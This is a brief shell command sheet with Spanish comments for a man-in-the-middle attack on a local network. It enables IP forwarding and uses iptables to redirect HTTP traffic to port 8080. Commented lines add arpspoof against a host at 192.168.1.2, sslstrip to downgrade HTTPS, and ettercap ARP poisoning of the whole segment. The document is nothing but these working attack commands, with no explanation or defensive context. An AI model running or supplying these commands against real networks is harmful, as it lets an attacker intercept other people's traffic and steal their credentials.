sysctl -w net.ipv4.ip_forward=1

cat /proc/sys/net/ipv4/ip_forward

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -i eth0 -p tcp --destination-port 80 -j REDIRECT --to-port 8080

######opcional arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

######otra pestaña python sslstrip.py -l 1000

######otra pestaña ettercap -Tq -i eth0 o ettercap -T -q -i eth0 -M arp // //